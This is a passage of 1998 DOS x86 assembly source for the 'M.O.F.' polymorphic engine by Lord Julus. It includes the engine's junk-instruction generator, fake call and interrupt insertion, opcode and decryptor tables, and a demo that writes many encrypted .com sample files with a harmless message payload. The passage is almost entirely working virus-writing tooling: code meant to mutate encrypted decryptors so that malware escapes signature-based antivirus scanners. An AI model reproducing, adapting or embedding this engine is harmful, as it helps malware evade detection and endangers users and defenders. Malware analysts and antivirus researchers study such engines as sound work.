Stosb ; Mov bx, di ; and compute the CALL length Mov cx, Word Ptr over_junk_ref ; The Call will jump right after Mov bp, cx ; the JMP and before the RET. Mov Word Ptr last_call, bp ; Sub cx, bx ; Mov ax, cx ; Stosw ; Mov ax, 2h ; Call Random ; Add ax, 2h ; Call Gen_ax_junks ; Jmp Call_over ; ; Type_2_call: ; This is Type 2 Mov ax, 2h ; first some junks Call Random ; Add ax, 2h ; Call Gen_ax_junks ; Mov al, 0E8h ; Then the Call Stosb ; Mov Word Ptr call_ref, di ; save it's refference Mov ax, 0 ; Stosw ; Mov ax, 2h ; junks again Call Random ; Add ax, 2h ; Call Gen_ax_junks ; Mov al, 0E9h ; Store a JMP NEAR Stosb ; Mov Word Ptr over_junk_ref, di ; save it's refference too Mov Word Ptr last_call, di ; Mov ax, 0 ; Stosw ; Mov bx, di ; now we are about to compute the Mov cx, Word Ptr call_ref ; Calls length Mov bp, cx ; Sub cx, 2 ; Sub bx, cx ; Sub bx, 4 ; Mov Word Ptr [bp], bx ; and store it in the right place Mov ax, 2h ; Call Random ; Add ax, 2h ; Call Gen_ax_junks ; Mov al, 0C3h ; store the RET Stosb ; Mov bx, di ; Mov cx, Word Ptr over_junk_ref ; and compute the JMP's length Mov bp, cx ; Add cx, 2 ; Sub bx, cx ; Mov Word Ptr [bp], bx ; Mov ax, 2h ; Call Random ; Add ax, 2h ; Call Gen_ax_junks ; Jmp Call_over ; ; No_call: ; Mov ax, 45h ; Maybe we'll create an INT Call Random ; Cmp ax, 7h ; Jnb No_int ; ; Create_int: ; Mov al, 60h ; Store a PUSHA Stosb ; Mov Byte Ptr allowence, 1 ; Mov ax, 4 ; generate some random junk Call Random ; Inc ax ; Call Gen_ax_junks ; Mov al, 0B4h ; Store MOV AH, ... Stosb ; Mov ax, Word Ptr int_nr ; Choose a random INT with a Call Random ; random service Shl ax, 1 ; Lea si, Int_opcodes ; Add si, ax ; Lodsb ; Stosb ; Mov al, 0CDh ; Store an INT xxH Stosb ; Lodsb ; Stosb ; Mov ax, 4 ; some junk... Call Random ; Inc ax ; Call Gen_ax_junks ; Mov al, 61h ; Store a popa Stosb ; Mov Byte Ptr allowence, 0 ; Jmp Done_with_this ; ; No_int: ; Mov ax, 1 ; If we don't create anything above Call Gen_ax_junks ; generate 1 junk instruction ; Call_over: ; Mov Byte Ptr in_call, 0 ; Done_with_this: ; Mov ax, di ; Sub ax, Word Ptr [junk_start] ; Cmp ax, 14h ; Jna Junk_loop ; ; Pop si bp dx cx bx ax ; and restore registers Ret ; return from the Garbage Generator ; ; Choose_junk_reg Proc Near ; Cmp Byte Ptr allowence, 0 ; Je Only_jreg ; ; Rep_rnd: ; Mov ax, 8 ; Call Random ; Cmp ax, 4 ; Je Rep_rnd ; Jmp Ok_jreg ; ; Only_jreg: ; Mov ax, 2 ; Call Random ; Lea bp, j_reg1 ; We have 2 junk registers. This Add bp, ax ; procedure randomly chooses one Mov al, Byte Ptr [bp] ; of them and leaves it in the Ok_jreg: ; Mov Byte Ptr reg1, al ; Ret ; AL register Choose_junk_reg Endp ; ; ; Gen_ax_junks Proc Near ; This procedure generates AX junk Push cx ; instructions. Xchg ax, cx ; We move ax in the CX counter Mov Byte Ptr modify, 0FFh ; mark this with FFh. FFh means ; that this won't be used. Repeat: ; the main loop Push cx ; save counter Push di ; and current offset ; Cmp Byte Ptr in_call, 1 ; Check if we are in the middle of Je Can_t_do_call ; a call creation (if so, we cannot Cmp Word Ptr last_call, 0 ; make a back-call. Also have to Je Can_t_do_call ; check if we already made a Cmp Byte Ptr call_allow, 4 ; routine, and if from the last Jb Can_t_do_call ; back-call we made other at least Mov ax, 20h ; 4 instructions. Call Random ; If all conditions are OK we set Cmp ax, 7 ; a probability for a back-call Jnb Can_t_do_call ; Pop di ; Mov al, 0E8h ; encode a CALL near Stosb ; Mov ax, di ; Mov cx, Word Ptr last_call ; compute the call's length Sub ax, cx ; Neg ax ; Stosw ; and store it Mov call_allow, 0 ; reset allowence for the calls Jmp You_stink ; and go away >;-) ; Can_t_do_call: ; Inc Byte Ptr call_allow ; Mov Byte Ptr word_or_byte, 1 ; this marks the instr. type, e.g. ; Word Ptr or Byte Ptr. Word is Cmp Byte Ptr j_reg1, 3 ; default. But we can only use the Ja No_byte_style ; byte mode if the junk registers Cmp Byte Ptr j_reg2, 3 ; are not SI or DI ! Ja No_byte_style ; ; Mov ax, 2 ; if we can, we choose a random Call Random ; type: word or byte Mov Byte Ptr word_or_byte, al ; ; No_byte_style: ; Mov ax, 5 ; We have 5 junk instruction tables Call Random ; For each of them we have to set Cmp ax, 0 ; some parameters. Jne Not_table_0 ; Call Choose_junk_reg ; Mov ax, 7 ; then we will choose a random mod Call Random ; (out of 7), e.g. DI+, SI+, etc. Mov Byte Ptr modify, al ; which we also save. Xor ax, ax ; restore ax Jmp Go_on ; ; Not_table_0: ; Cmp ax, 1 ; For Table 1 we must choose 2 Jne Not_table_1 ; registers. The first (destination) Push ax Mov Byte Ptr modify, 0AAh ; is a junk register. The second Call Choose_junk_reg ; Shl al, 3 ; Also, the first register must be Mov Byte Ptr reg1, al ; aligned like this 00reg000 Mov ax, 8 ; Call Random ; Mov Byte Ptr reg2, al ; Pop ax Jmp Go_on ; ; Not_table_1: ; Cmp ax, 2 ; For Table 2 we only have to Jne Not_table_2 ; choose a random junk register. Push ax ; Mov Byte Ptr modify, 0BBh ; Call Choose_junk_reg ; Pop ax ; Jmp Go_on ; ; Not_table_2: ; Cmp ax, 4 ; For Table 4 we have the shifting Jne Not_table_4 ; instructions Push ax ; Mov Byte Ptr modify, 0CCh ; Call Choose_junk_reg ; Pop ax ; Jmp Go_on ; ; Not_table_4: ; Go_on: ; Here we finally gen. the instr. Mov bx, Offset Garbage_tables_ofs ; BX points to the offsets. AX holds Shl ax, 1 ; the table number. Multiply it by Add bx, ax ; 2 (cause ofs is word) and add it Mov si, [bx] ; to BX and then take the off. in SI Add si, Offset Garbage_table ; and align it with the beginning. Lea di, garbage_tables_opl ; DI points to the table with the Add di, ax ; opcodes' length in bytes. Mov cx, [di] ; CX will hold the opcode length Lea di, garbage_tables_nri ; DI points to the table with the Add di, ax ; number of instr. in each table Mov ax, [di] ; AX = num. of instr. Call Random ; choose a random one Push ax ; save AX Push cx ; and CX Xchg ax, cx ; exchange them in order to multiply Mul cx ; AX by CX Xchg ax, cx ; then back again Pop ax ; AX = original CX Add si, cx ; CX holds the proper alignement Pop cx ; CX = AX Xchg ax, cx ; put them back Pop di ; restore DI ; Loop1: ; this is the loop Lodsb ; take a byte from the opcode Stosb ; and store it ; Cmp Byte Ptr modify, 0CCh ; Do we have shift instructions ? Jne Not_shift ; Cmp cx, 1 ; Jne No_operation ; Lea bp, Shift_opcodes ; Mov ax, 3 ; Call Random ; Add bp, ax ; Mov dl, Byte Ptr [bp] ; Mov Byte Ptr [di-2], dl ; And Byte Ptr [di-1], 11111000b ; clear reg field Mov dl, Byte Ptr reg1 ; get the reg1 Or Byte Ptr [di-1], dl ; and store it Cmp ax, 1 ; Jne Not_imm_shift ; Mov ax, 0F0h ; Call Random ; Stosb ; Not_imm_shift: ; Jmp No_operation ; ; Not_shift: ; Cmp Byte Ptr modify, 0BBh ; Do we have a imm to reg instr ? Jne Not_reg2imm ; Cmp cx, 1 ; Jne No_operation ; Mov al, Byte Ptr reg1 ; if so, take the register into AX And Byte Ptr [di-3], 11111000b ; clear it's way Or Byte Ptr [di-3], al ; and store it there Mov ax, 0FFFEh ; now generate a random data Call Random ; for the reg, imm Mov Word Ptr [di-2], ax ; and store it And Byte Ptr [di-4], 11111110b ; now clear the word/byte bit Mov al, Byte Ptr word_or_byte ; and put it there Or Byte Ptr [di-4], al ; Cmp Byte Ptr word_or_byte, 0 ; being a imm to reg instr, if Jne Word_style ; it's byte style, we only need Dec di ; one byte so we take DI back 1. ; Word_style: ; Jmp No_operation ; ; Not_reg2imm: ; Cmp Byte Ptr modify, 0AAh ; If it's reg to reg, then Jne Not_reg2reg ; here we clear the way for the Cmp cx, 1 ; 2 registers and for the byte/word Jne No_operation ; bit, and simply put them there And Byte Ptr [di-1], 11000000b ; Mov al, Byte Ptr reg1 ; Or Byte Ptr [di-1], al ; Mov al, Byte Ptr reg2 ; Or Byte Ptr [di-1], al ; And Byte Ptr [di-2], 11111110b ; Mov al, Byte Ptr word_or_byte ; Or Byte Ptr [di-2], al ; Jmp No_operation ; ; Not_reg2reg: ; Cmp Byte Ptr modify, 0FFh ; This is mem to reg Je Not_reg2mem ; Cmp cx, 1 ; Jne No_operation ; Mov dl, Byte Ptr modify ; restore the mod and fill it And Byte Ptr [di-3], 11111000b ; where it belongs Or Byte Ptr [di-3], dl ; And Byte Ptr [di-3], 11000111b ; Mov al, Byte Ptr reg1 ; take the reg Shl al, 3 ; and align it like this 00reg000 Or Byte Ptr [di-3], al ; Mov ax, 0FFFEh ; now get a random data for Call Random ; reg, [reg+data] Mov Word Ptr [di-2], ax ; And Byte Ptr [di-4], 11111110b ; and store the word/byte bit too Mov al, Byte Ptr word_or_byte ; Or Byte Ptr [di-4], al ; Cmp al, 1 ; is it word style ? Jne No_case ; And Byte Ptr [di-3], 00111111b ; clear the r/m field And Byte Ptr [di-3], 11111000b ; Or Byte Ptr [di-3], 00000110b ; No_case: ; ; ; Not_reg2mem: ; No_operation: ; Loop Loop1 ; ; You_stink: ; Mov Byte Ptr modify, 0FFh ; reset the value here to unused Pop cx ; restore counter Loop Repeat ; and loop ! ; Pop cx ; restore main counter Ret ; and return Gen_ax_junks Endp ; ; Garbage_table: ; The Garbage tables Table_0: ; Table 0 is the one with the Mov cx, Word Ptr [bx+si+1000h] ; MEM to REG instructions Add cx, Word Ptr [bx+si+1000h] ; Sub cx, Word Ptr [bx+si+1000h] ; Xor cx, Word Ptr [bx+si+1000h] ; Or cx, Word Ptr [bx+si+1000h] ; And cx, Word Ptr [bx+si+1000h] ; Adc cx, Word Ptr [bx+si+1000h] ; Sbb cx, Word Ptr [bx+si+1000h] ; table_0_len Equ $ - Table_0 ; Table 0 length ; Table_1: ; Mov cx, cx ; Table 1 is the one with REG to Add cx, cx ; REG instructions Sub cx, cx ; Xor cx, cx ; Or cx, cx ; And cx, cx ; Adc cx, cx ; Sbb cx, cx ; Test cx, cx ; table_1_len Equ $ - Table_1 ; Table 1 length ; Table_2: ; Add cx, 1000h ; Table 2 is the one with IMM to Sub cx, 1000h ; REG Xor cx, 1000h ; Or cx, 1000h ; And cx, 1000h ; Adc cx, 1000h ; Sbb cx, 1000h ; Test cx, 1000h ; table_2_len Equ $ - Table_2 ; Table 2 length ; Table_3: ; Stc ; The one byte junk instructions Clc ; Std ; Cld ; Cmc ; Sahf ; Nop ; Int 03 ; Wait ; table_3_len Equ $ - Table_3 ; Table 3 length ; Table_4: ; Table 4 Shr cx, cl ; Shl cx, cl ; Sar cx, cl ; Ror cx, cl ; Rol cx, cl ; Rcr cx, cl ; Rcl cx, cl ; table_4_len Equ $ - Table_4 ; ; ; Garbage_table_end: ; ; Garbage_tables_ofs: ; Dw 0 ; The offset displacements for each Dw table_0_len ; table, relative to Table 0 Dw table_0_len+table_1_len ; Dw table_0_len+table_1_len+table_2_len ; Dw table_0_len+table_1_len+table_2_len+table_3_len garbage_tables_opl Dw 4, 2, 4, 1, 2 ; The length of the opcodes in each ; Table garbage_tables_nri Dw 8, 9, 8, 9, 7 ; The number of instructions in each ; Table Shift_opcodes: ; Db 0D1h ; reg, 1 Db 0C1h ; reg, imm Db 0D3h ; reg, cl ; Jump_opcodes: ; The conditional jumps' opcodes Db 76h ; jbe/jna Db 7Eh ; jle/jng Db 72h ; jb/jnae/jc Db 7Ch ; jl/jnge Db 74h ; jz/je Db 75h ; jne/jnz Db 73h ; jae/jnb/jnc Db 7Dh ; jge/jnl Db 77h ; ja/jnbe Db 7Fh ; jg/jnle Db 0E3h ; jcxz Db 71h ; jno Db 70h ; jo Db 7Ah ; jp/jpe Db 7Bh ; jnp/jpo Db 79h ; jns Db 78h ; js ; Int_opcodes: ; Db 0Bh, 21h ; get keyboard status Db 19h, 21h ; Db 30h, 21h ; get Dos version Db 4Dh, 21h ; Db 03h, 10h ; Db 04h, 10h ; Db 04h, 10h ; Db 08h, 10h ; Db 0Fh, 10h ; ; int_nr Equ 09h ; Number of Ints to generate from ; jump_place Dw 0 ; The address of the jump over_junk_ref Dw 0 ; Where we JMP in a fake CALL call_ref Dw 0 ; The Call refference modify Db 0 ; modify byte j_reg1 Db 2 ; junk register no. 1 j_reg2 Db 3 ; junk register no. 2 reg1 Db 0 ; the first register in junks reg2 Db 0 ; the second... word_or_byte Db 0 ; ; Garbage_generator Endp ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; DATA AREA ; ; First I have the instructions I use in my decryptors, but with the ; 'mod' and 'reg' fields cleared, so I can OR them with my reg and mod fields ; with no problems. After each instruction I have a 0FFH which marks ; it's end so the procedure Go_To_Instruction can locate any instruction very ; fast. Each 0feh marks a byte that holds signifiant fields that need to be ; filled. Instr_table: Db 055h, 0FFh ; push bp (01) Db 8Bh, 0ECh, 0FFh ; mov bp, sp (02) Db 8Bh, 46h, 0FEh, 08h, 0FFh ; mov creg, [bp+08] (03) Db 033h, 0C0h, 0FEh, 0FFh ; reg, reg (04) Db 89h, 0, 0FEh, 0FFh ; mov [preg], creg (05) Db 040h, 0FEh, 0FFh ; inc reg (06) Db 05Dh, 0FFh ; pop bp (07) Db 83h, 0C4h, 08h, 0FFh ; add sp, 8 (08) Db 048h, 0FEh, 0FFh ; dec reg (09) Db 075h, 03h, 0E9h, 0, 0, 0FFh ; jnz ____ / jmp ____ (0A) Db 0E9h, 0, 0, 0FFh ; jmp ____ (0B) Db 0CFh, 0FFh ; iret (0C) Db 060h, 0FFh ; pusha (0D) Db 050h, 0FEh, 0FFh ; push reg (0E) Db 0FAh, 0FFh ; cli (0F) Db 8Eh, 0D8h, 0FEh, 0FFh ; mov sreg, reg (10) iofs_1: Db 8Bh, 06h, 0FEh, 18h, 0, 0FFh ; mov reg, [Iofs] (11) Db 2Eh, 89h, 86h, 0FEh, 0, 0, 0FFh ; mov cs:[bp+____], reg (12) iseg_1: Db 8Bh, 06h, 0FEh, 1Ah, 0, 0FFh ; mov reg, [Iseg] (13) Db 2Eh, 89h, 86h, 0FEh, 0, 0, 0FFh ; mov cs:[bp+____], reg (14) Db 8Dh, 86h, 0FEh, 0, 0, 0FFh ; lea reg, [bp+____] (15) iofs_2: Db 89h, 06h, 0FEh, 18h, 0, 0FFh ; mov [Iofs], reg (16) Db 8Ch, 0C8h, 0FEh, 0FFh ; mov reg, cs (17) iseg_2: Db 89h, 06h, 0FEh, 1Ah, 0, 0FFh ; mov [Iseg], reg (18) Db 0FBh, 0FFh ; sti (19) Db 01Fh, 0FFh ; pop ds (1A) Db 0B8h, 0FEh, 0h, 0h, 0FFh ; mov reg, ____ (1B) Db 8Bh, 0, 0FEh, 0FFh ; mov reg, [reg] (1C) int_pl: Db 0CDh, 06h, 0FFh ; int xxh (1D) Db 061h, 0FFh ; popa (1E) Db 0C3h, 0FFh ; ret (1F) Db 01Eh, 0FFh ; push ds (20) Db 0Eh, 0FFh ; push cs (21) Db 2Eh, 8Bh, 86h, 0FEh, 0, 0, 0FFh ; mov reg, cs:[bp+____] (22) Db 90h, 90h, 0FFh ; offset for INT xx (23) Db 90h, 90h, 0FFh, 0FEh ; segment for INT xx (24) End_instr_table: ; The next is a table that loox like this: ; ; XXXYYYZZ, where we have the following meanings: ; ; XXX = 111 - leave instruction as it is ; 110 - fill only the 'mod' field ; 101 - fill only the 'reg' field ; 011 - fill both 'reg' and 'mod' ; 100 - a reg to reg instruction ; ; YYY = 000 - use creg ; 001 - use lreg ; 010 - use kreg ; 011 - use preg ; 100 - use jreg1 ; 101 - use jreg2 ; ; ZZ = x0 - no data refference --- a pointer reffers to it ; x1 - holds data refference _| ; 0x - no refference from data --- holds a pointer ; 1x - holds refference from data _| Used_stuff_table: Db 0E0h, 0E0h, 0A0h, 080h, 060h, 0A8h, 0B4h Db 0B4h, 0E0h, 0E0h, 0A4h, 0E1h, 0E1h, 0E0h Db 0E0h, 0E0h, 0E0h, 080h, 0A4h, 0A4h, 0A5h Db 0A4h, 0A5h, 0A5h, 0A4h, 0A4h, 0A4h, 0E0h Db 0E0h, 0E0h, 0B5h, 0A4h, 0A9h, 062h, 0A0h Db 0E0h, 082h, 0A0h, 0E0h, 0A1h, 0A0h, 0A1h Db 0A0h, 0E0h, 0E0h, 0E0h, 0E0h, 0E0h, 0E0h ; The secondary table is a crap I was forced to use because of the stupid ; way Intel's instructions are made. So it actually marks the correct ; position for the reg field withing the rm/mod byte. I will find soon a ; way to remove it... it sux ! Secondary_table: Db 000h, 000h, 000h, 002h, 000h, 003h, 003h Db 003h, 000h, 000h, 003h, 000h, 000h, 000h Db 000h, 000h, 000h, 009h, 003h, 000h, 000h Db 000h, 000h, 000h, 000h, 003h, 000h, 000h Db 000h, 000h, 000h, 003h, 003h, 000h, 003h Db 000h, 000h, 003h, 000h, 000h, 000h, 000h Db 000h, 000h, 000h, 000h, 000h, 000h, 000h ; Here we have the decryptors, e.g. sets of instructions from the above ; table ordered in a certain order. These values are passed to the ; Go_To_Instruction procedure which finds the proper instrucion to store. Decryptors_table: Db 01h, 02h, 03h, 04h, 05h, 06h, 06h, 06h, 07h, 08h, 09h, 0Ah, 0Bh, 0Ch Db 0Dh, 20h, 0Fh, 04h, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h Db 21h, 1Ah, 15h, 1Bh, 1Bh, 1Ch, 0Eh, 1Dh, 04h, 10h, 0Fh, 22h, 16h, 22h Db 18h, 19h, 1Ah, 1Eh, 1Fh, 23h, 24h, 24h decryptor_len Equ $ - Decryptors_table ; this is the length of decryptor Register_opcode: ; Here we have the opcodes for the reg field Db 00h ; AX (aligned like this: 00reg000) Db 08h ; CX Db 10h ; DX Db 30h ; SI Db 38h ; DI Db 18h ; BX ; Mod_opcode: ; and here the opcodes for the mod field Db 04h ; [SI] (aligned like this: 00000mod) Db 05h ; [DI] Db 07h ; [BX] ; Method_op: ; Here we have the encryption methods' opcodes Db 33h ; XOR / XOR Db 2Bh ; ADD / SUB Db 03h ; SUB / ADD ; ; Specific data ; ; Used_registers: ; creg Db 0 ; Register to hold the code lreg Db 0 ; Register to hold the length of code kreg Db 0 ; Register to hold the encryption key jreg1 Db 0 ; Junk register #1 jreg2 Db 0 ; Junk register #2 prg Db 0 ; the pointer register ; rand_seed Dw 0 ; Random seed counter Dw 0 ; counter... duh !! ; Used_pointers: ; preg Db 0 ; Register to hold the pointer register jprg1 Db 0 ; Junk pointer register jprg2 Db 0 ; ; reg_order Db 1,2,3,4,5,6 ; here we store the order of the registers ; instr_number Equ 50d ; how many instructions in the decryptor key Dw 0 ; encryption key code_len Dw 0 ; code length code_start Dw 0 ; pointer to code start method Dw 0 ; the method of the poly engine last_instr Dw 0 ; last instruction's end decr_entry Dw 0 ; buffer_address Dw 0 ; last_call Dw 0 ; call_allow Db 0 ; allowence Db 0 ; in_call Db 0 ; misc Db 0 ; junk_start Dw 0 ; ; Here we have a table with those instructions that have data within and ; the engine saves the data's offsets into the next table. Don't "have kids" ; with these addreses either ( ;-))) ) or it might not work... The values to ; put at those offsets can be found in the values table. Data_instr_place: Db 0Dh, 0Eh, 16h, 18h, 19h, 20h, 21h, 22h, 29h, 2Bh, 00h, 00h Pos_refference: Db 25h, 22h, 30h, 31h, 01h, 00h, 00h, 00h, 30h, 31h, 00h, 00h Offsets: Dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 Values: Dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 Mof Endp ;,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~` ; M.O.F. Poly Engine V 2.0 end - Length of the engine 2568 bytes ;`~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù., Start_of_code: Call Get_bp Get_bp: Pop bp Sub bp, 103h Mov ax, Offset End_encr_code Db 05h poly_entry Dw 0 Sub ax, Offset Start_of_code Add ax, 100h Call ax Encr_code: Jmp Real_code text Db 0Ah, 0Dh,' _/\____________________________________________________________________/\_ ' Db 0Ah, 0Dh,'<< >>' Db 0Ah, 0Dh,' >> This code is generated by `The Multiple OpCode Fantasies poly engine''<<' Db 0Ah, 0Dh,'<> Version 3.0 (c) 1998 by Lord Julus <<~~~~~~~~~~~~~~~\>>' Db 0Ah, 0Dh,' (________________________________________)', 0ah, 0dh, 0ah, 0dh, '$' Real_code: Push cs Pop ds Lea dx, text[bp] Sub dx, Offset Start_of_code Add dx, 100h Mov ah, 09h Int 21h Mov ax, 4C00h Int 21h Nop Nop End_encr_code: string Db 80h Dup('$') welcome Db 0Ah, 0Dh,'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ' Db 0Ah, 0Dh,'Û A demo for a Poly Engine... Û' Db 0Ah, 0Dh,'Û Multiple OpCode Fantasies (M.O.F.) Version 3.0 Û' Db 0Ah, 0Dh,'Û written by Lord Julus (C) 1998 Û' Db 0Ah, 0Dh,'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ' Db 0Ah, 0Dh, 0 str1 Db 0Ah, 0Dh, 'How many files to generate (1 - 65,535): ',0 str2 Db 0Ah, 0Dh, 'Please wait...', 0ah, 0dh, 0 str3 Db 0Ah, 0Dh, 'Generating: ',0 str4 Db 0Ah, 0Dh, 0Ah, 0Dh, 'Done generating ! ',0ah, 0dh, 0ah, 0dh, 0 str5 Db 0Ah, 0Dh, 'An error ocured while generating ! ',0ah, 0dh, 0ah, 0dh, 0 filename Db 'mof' strnum Db '00000.com',0,'$' position Dw 0 polylen Equ 2100d filenums Dw 0 includelib asmwiz.lib Buffer_start: buffer Db (End_encr_code - Start_of_code + polylen) Dup (0) bufferlen Equ $ - buffer Ending: Cseg Ends End Main